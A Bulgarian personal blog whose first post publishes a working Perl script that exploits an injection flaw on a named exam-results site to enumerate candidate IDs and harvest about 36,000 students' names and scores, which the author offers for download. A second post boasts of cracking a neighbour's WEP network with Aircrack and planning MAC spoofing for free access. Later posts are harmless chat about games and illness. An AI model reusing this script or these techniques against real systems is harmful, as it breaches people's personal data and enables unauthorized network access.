Матурки, Матурки, Мад....

Фанфари свирят, червения килим се развърта по земята, и изведнъж се появявам аз, пристъпващ бавно-бавно с безжичен usb адаптор в ръка...

Това не е някой от странните ми сънища, а самата реалност, защото:
  • Реших да съживя тая развалина, наречена блог.
  • Все още карам на публични(разбирай чужди) безжични мрежи за интернет в София.

И докато втората причина е съвсем обяснима ("пари нема, действайте". Тъй, тъй, чичо Годжи) то първата е мъглява и мистична като дълбок планински вир в пролетна утрин. Най-вероятно поради липсата на поприще за изява на потиснатия ми креативитет. Звучи ужасно комплексно, пък всъщност става въпрос за нищо кой-знае какво :D Но стига толкова въведения.

И преди да съм нападнат за несъответствие на заглавието с текста, независимо че няма от кого, ще се измъкна и ще продължа по същество. Оставам верен на себе си и представям поредната geek-щина от себе си, а именно: скриптът, с когото източих (почти) всички резултати от матурата. Писан е на Perl и се нуждае от 1-2 библиотечки, който се инсталират за 0 време през CPAN. Скрипта го търсете на дъното ->

Трябва да уточня че става дума за първите матури - септемврийските не ме интересуват. Източете си ги сами със същия скрипт. Лиценза е GPL. Абе ако щете го крадете, поне ще научите нещо за Perl.

За да не кажете че си измислям, тук публикувам и тези всичките резултати в няколко удобни формата. Внимание, файловете съдържат по 36000 записа, така че не се чудете защо ви забива Word/Excel/SQL-a/т.н. Свали версия: Excel SQL CSV XML

И преди да съм арестуван от ГДБОП и всесилната ръка на закона(протегната от кмета, естествено) да ме е сграбчила за usb адаптера, само ще добавя че тези файлове не съм ги качил аз, а един приятел, така е че негова (евентуалната) вина. Той се казва Руперт Циско, за по-кратко му казваме Прокс. (Както гласи песента на Ъпсурт) не питай защо!

Connection Lost. Wireless network out of range...



#!/usr/bin/perl

#----- библиотеки
use lib qw( ..);
use HTML::TableExtract;
use LWP::Simple;
use Data::Dumper;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use DBI;
require Encode;

#----- инициализации, блабла
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 8.0 blah...");
$name="";
$number="0";
$test1="";
$test2="";
$ocenka1="";
$ocenka2="";
my $check = "<td bgcolor=#F5F5F5 class=\"style3\"><strong>";
$broi = 0;
$idstart = 1000001; #кои е номер 1 в листа? xD
$idend = 6500000; #последния в листа
$idnow = $idstart;
$nosuchid = 0;
$thisonefails = 0;

#----- айде на SQL-а
my $dsn = 'DBI:mysql:spider:localhost';
my $db_user_name = 'spider';
my $db_password = '';
my ($id, $password);
my $dbh = DBI->connect($dsn, $db_user_name, $db_password);
$dbh->do("SET NAMES 'utf8'"); #тая кирилица от записите е много кофти


while($idnow <= $idend) {
print "now trying $idnow ... ";
#----- отваря страницата и резултата с помощта на SQL инжекция в кода
my $req = (POST 'http://rezultati.zamaturite.bg/rezultati.php',
["EnterNumber" => $idnow . " --",
"EGN" => "1"]);

$request = $ua->request($req);
$content = $request->content;

#----- тест дали номера на кандидата се използва (ако не, няма таблица (с резултатите) в текущата страница)

#print "checkin for validity of ID $idnow...\n"; #за по-голяма приказливост, или както му викат нормалните хора - verbosity
if(index($content,$check) == -1) {
# die("No such ID!\n"); #дрън-дрън
print "failed! \n";

#----- Алгоритъмче за превъртане на километража, така де, номера

#----- След 20 неуспешни локални номера (последната тройка) ->
#----- се мятаме на нов локален идентификатор (втора двойка числа)
#----- или нов градски индентификатор (първа двойка числа)
if(++$nosuchid == 20) {
my $p3 = substr($idnow, 4);
my $p2 = substr($idnow, 2, 2);
my $p1 = substr($idnow, 0, 2);
if( $p2 == '99' ) {
$p3 = '001';
$p2 = '00';
$p1++;
} else {
$p3 = '001';
$p2++;
if($p2 == '1') { $p2 = '01'; }
}
$idnow = $p1 . $p2 . $p3;
$nosuchid = 0;
} else {
++$idnow;
}
next;
}
#----- главен цикъл//живот

$nosuchid = 0;

#----- ----- "прочети" таблицата
my $te = new HTML::TableExtract( depth=>1, count=>1, gridmap=>0);

#----- ----- а сега разпредели и оразумей прочетеното -> Име, номер,
$te->parse($content);

foreach $ts ($te->table_states)
{
# print "dumpin table xD\n"; #дрън-дрън приказливост
foreach $row ($ts->rows)
{
$broi++;

# бла-бла още приказливост
# print "dumpin row xD\n";

# кофти кирилица
if($broi == 3) { $number = Encode::decode( 'cp-1251', @$row[1] ); }
if($broi == 4) { $name = Encode::decode( 'cp-1251', @$row[1] ); }
if($broi == 7) { $test1 = Encode::decode( 'cp-1251', @$row[0] ); }
if($broi == 8) { $test2 = Encode::decode( 'cp-1251', @$row[0] ); }

# приказлив като стара лелка
#print Dumper $row;
#print @$row[1] . "\n";
#print Dumper $row if (scalar(@$row) == 2);
}
}

#----- ----- извлечи ми точки за първи изпит (български)
#----- ----- "прочети" таблицата
my $te = new HTML::TableExtract( depth=>2, count=>0, gridmap=>0);

#----- ----- 'земи точките
$te->parse($content);

foreach $ts ($te->table_states)
{
# print "dumpin table xD\n";
foreach $row ($ts->rows)
{
$ocenka1 = substr(@$row[0], index(@$row[0], ".") -2, 5);

}
}

#----- ----- извлечи ми точки за втори изпит (избирателен)
#----- ----- чети таблицата!
my $te = new HTML::TableExtract( depth=>2, count=>1, gridmap=>0);

#----- ----- земи точки!
$te->parse($content);

foreach $ts ($te->table_states)
{
# print "dumpin table xD\n";
foreach $row ($ts->rows)
{
$ocenka2 = substr(@$row[0], index(@$row[0], ".") -2, 5);

}
}



#----- а сега да почистим записите на тия лентяй от ненужни интервали
$test1 =~ s/^\s+//; #махаш начални интервали
$test1 =~ s/\s+$//; #махаш крайни интервали

$test2 =~ s/^\s+//; #махаш начални интервали
$test2 =~ s/\s+$//; #махаш крайни интервали

$ocenka1 =~ s/^\s+//; #махаш начални интервали
$ocenka2 =~ s/\s+$//; #махаш крайни интервали

#----- не помня кво съм правил тука, прилича на чистене на интервали
# substr($test1, 28, length($test1), "");
# substr($test1, 0, 1, "");
# substr($test2, 0, 1, "");

print "Name: " . $name . "\tNumber: " . $number . "\n";

#----- още приказливост
#print "Test1: " . $test1 . "\tTest2: " . $test2 . "\n";
#print "Ocenka1: " . $ocenka1 . "\tOcenka2: " . $ocenka2 . "\n";

#----- ръч в базата данни
my $sth = $dbh->prepare(qq{
INSERT INTO maturi (nomer, ime, test2, ocenka1, ocenka2) VALUES ($number, \'$name\', \'$test2\', $ocenka1, $ocenka2)
});
$sth->execute() or $thisonefails++;

#----- increment counter
if($thisonefails != 1) {
$idnow++;
$thisonefails = 0;
}
#----- първо си мислех че sql-а ми дропи заявките от натоварване, а то
# се оказа че някои гении нямат втора или първа оценка или нещо подобно,
# и заявката се дъни поради липса на параметър. Оставих го за всеки случай.

$broi = 0;
$name = $number = $test1 = $test2 = $ocenka1 = $ocenka2 = "";
}




На абордаж!


В един мъглив и на пръв поглед безинтересен ден решавам най-накрая да видя, аджеба, колко безжични мрежи мога да уловя вкъщи. Ловенето на безжични мрежи, или както го наричат някои - wardriving, е приятно хоби, като се има предвид че се различава коренно от ловенето на пеперуди, ловенето на тъпи мисли, циркулиращи в главата ви, или ловенето на бацили/вируси в градския транспорт. Не са ви нужни аналогови пособия, освен ръце с пръсти, за да дрънчите по клавишите на клавиатурата ви. А ако можете да упражнявате mind control над беззащитната ви щайга(разбирай компютър, лаптоп и т.н.), то значи и ръце не ви трябват. Определено обичам дългите и объркани изречения с твърде много пояснения. Но нека продължим.
Пускам си дигиталната мрежа за улов, наречена Kismet, и първите заблудени 802.11 пакети пристигат. Оказва се в представителната ми извадка има няколко отворени мрежи, но сигналът е твърде слаб. Плюс това се отнема тръпката щом мрежата е отворена. Ние не искаме да влезем през отключени врати - на нас ни трябват ония огромни 'порти' на банковите трезори по филмите. С изненада забелязвам че даже има и 1 мрежа която ползва уж непробиваемата wpa2 кодировка. Ммм, това би било забавно. Но сега определено не ми се занимава сериозно. Търсим още нещо, по-така.
БИНГО/ЕТО/ЕВРИКА/ЕЙ-ГО-ДЕЙ/ДЖАКПОТ/ОХ-КОТЬО/
БЕЛОТ/РЕБЕЛОТ
...
изберете си.
Е, намерих целта. Стабилно силен сигнал, слаба wep кодировка (която после се оказа дори само 64битова), че даже мрежата е на един интернет доставчик.
//съжалявам, но няма да спомена кой, защото ако вземете да го тормозите и вие и като нищо да спрат безплатния нет и на мен, и на вас. мързеливци xD

После следва обичайното. Сканиране за клиенти... все още няма. Хм. Пускам fake association attack... няма никой. Последва фрагментационна атака. Пак нищо. "Чоп-чоп" атака. Зилч. Client targeted chop-chop attack. Нада. Пускам лъжлива асоциация с АП-то. Не става. Ммм... Може би има МАК филтъринг? Трябва някой легитимен клиент да се върже за да му взема неговия. Докато се чудя дали да продължавам, пускам скенера/снифера да върви, че и без тва в малкото трафик може да се мяркат по някой друг уязвим пакет. Целта на занятието е чрез определен вид атака да увеличим до ненормално голям брой броя на уязвимите пакети, и след това да пуснем брутфорсър, който да 'източи' ключа от всичките тея уязвими пакети, като източването на ключа става като събиране на пъзел от пакетите. И докато си седя и си мисля тез работи, някакъв клиент се включил в мрежата и бичи яко трафик. И не знам какво точно е правил, но определено имаше arp трафик понеже броя на уязвимите пакети нарастваше с по 150-200 в секунда. Дет се вика - sit back and watch the work do itself. След 4 часа имах 1700000 уязвими пакета - достатъчно да кракнат 128битов ключ за 10ина минути. Пускам кракера и след 2мин ме перва по кофата като дърво когато се пребивам с мотора си - KEY FOUND! XX:XX:... Ключът бил 64 битов. Записват се всички МАК-ове на всички асоциирани клиенти в момента, за да може после когато някой от тях излезе, да се набутам най-нагло с неговия МАК. После се прави семпъл и изчистен, но паметен скрийншот и всичко това се издумва в блога.

Free Image Hosting at www.ImageShack.us
back to how much I rule

Какво ползвам:
Fujitsu-Siemens Amilo A1650G
Back|track Linux OS Beta 3
Atheros 5005G wifi
с пачнати драйвери madwifi
Видеото е сполучливо ati x200m, вади 1280х800,
което стига за 4 терминала на екрана, оптимален вариант за използване на
Aircrack v2 и Kismet
всеки софтуер е последна стабилна SVN версия.

...and the Force shall be no more!

Пф. Апатия. Ама голяма апатия. Star Wars: KotOR II се оказа разочарование... на края. Чувствали ли сте се излъгани? Измамени? Вървяли ли сте седмица в пустинята само за да разберете че сте не сте стигнали никъде? [сарказъм] Точно такива приятни и абсолютно 'не-пораждащи-агресия' чувства ме налегнаха след като изгледах края на въпросната игра. [/сарказъм] В цялата игра има 2 вида край - ако си бил 'лош', през по-голямата част от времето, а другия - ако си бил добър. И стотиците избори, които си направил през тези 60 часа игра нямат абсолютно никакво значение. Което е плачевно, при положение че измежду тези избори е дали да спасиш планета, дали да се влюбиш в който трябва, и в когото - не, дали да убиеш един от спътниците ти, дали да се откажеш от 'Силата' и т.н. Недопустимо е от гледната точка на играта, която така изкусно се нагажда по изборите ти. Всеки знае че живота не е черно-бял, та да има само 2 развръзки. А пък може би е... във филмите (и игрите) на Лукас.

the matrix speaks again

Why, why, mr. Anderson...
Или на бг "Защо.... Слави, Защо?..."
Защо винаги така се получава, решавам да се заема с игра когато имам най-малко време, а играта в случая една перла, един брилянт на фона на всичко останало, което съм играл напоследък.
Star Wars: Knights of the Old Republic 2
Толкова гениално замислена история, че ако беше книга - не бих се поколебал да отворя на последната страница и за впия жадно очи в последния параграф. Е, може би ще ми трябва да прочета последните *няколко* параграфа, за да разбера за какво иде реч, но определено бих го направил. Защото историята в тази игра е най-голямото колело от часовниковия й механизъм, задвижващ я. Ето на - 4 часа минаха като 40мин. Искам повече игри да са като нея. Чакай... по-скоро не, иначе няма да ставам от стола си вкъщи. Мда. Отивам да спя. Утре ме чака работа и sw:kotor2.

green pastures, butterflies and psychos

Върнах се. И сега ще сложа край на всичките ви спекули че [цитирам] съм бил да се запивам някъде [край на цитата]. Бях болен. И с нескрита гордост също ще споделя че мозъкът ми се пържи 2 дни с температура 39,5. Определено има нещо забавно в цялата работа, защото се скъсах да сънувам през тия два дни. Сънувах как котки се самоизяждат, как някакви домакини се мотаят вкъщи без да има причина, как се возя на празен трамвай без шофьор и само няква бабичка седи до мене(може би смъртта? яко), сънувах и нещо за Мъглиж но вече го забравих, сънувах и Марин с метъл тениска на Ангра. Ама много странна беше тениската, една такава 'фешънска', пък отдолу й пише "Ангра", ама със такъв шрифт, какъвто пише Christian Dior или т.н. Абе фешънска тениска с фешънски шрифт, ама пише Ангра. Чудно.
И самото ми състояние също беше забавно. Понеже ме боляха очите да гледам, затварям ги, и после като ги отворя се оказва че съм бил 'проспал' 10ина-15 мин. Същински blackouts.
Само след обстоен пре-предглед на състоянието и уменията ми в Call of Duty 4 заключих че не съм увреден по никакъв (освен може-би психически, но това не е нищо ново) начин. И нали съм шибано копеле, взех си бележка за тази седмица, въпреки че вече съм ок. И нали съм шибано копеле без късмет, взеха че дадоха ваканция. Пффф...
Ай до скоро прочитане.

Условия за четене, бла бла

Използване на материали от блога, включително истории, картинки, статии, житейски заблуди, болни идеи и рам е строго препоръчително.